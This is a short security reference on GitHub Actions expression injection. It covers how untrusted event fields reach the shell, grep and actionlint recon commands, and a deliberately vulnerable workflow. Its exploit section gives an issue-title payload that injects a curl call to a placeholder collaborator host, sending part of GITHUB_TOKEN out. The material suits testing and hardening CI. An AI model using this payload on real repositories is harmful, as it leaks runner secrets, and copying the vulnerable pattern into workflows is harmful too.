github-actions-injection

GitHub Actions Expression Injection

${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.

Untrusted context — the sinks

These fields are attacker-controllable in fork PRs, issues, comments, branches:

Recon — find injection sinks

# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
  <REPO>/.github/workflows/

# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color

Sink pattern — the vulnerable workflow

# VULNERABLE
on: [issues, pull_request_target]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Echo title
        run: |
          echo "New issue: ${{ github.event.issue.title }}"   # <-- sink

Exploit payload — issue title

Open an issue titled:

hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #

Runner expands to:

echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"

The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)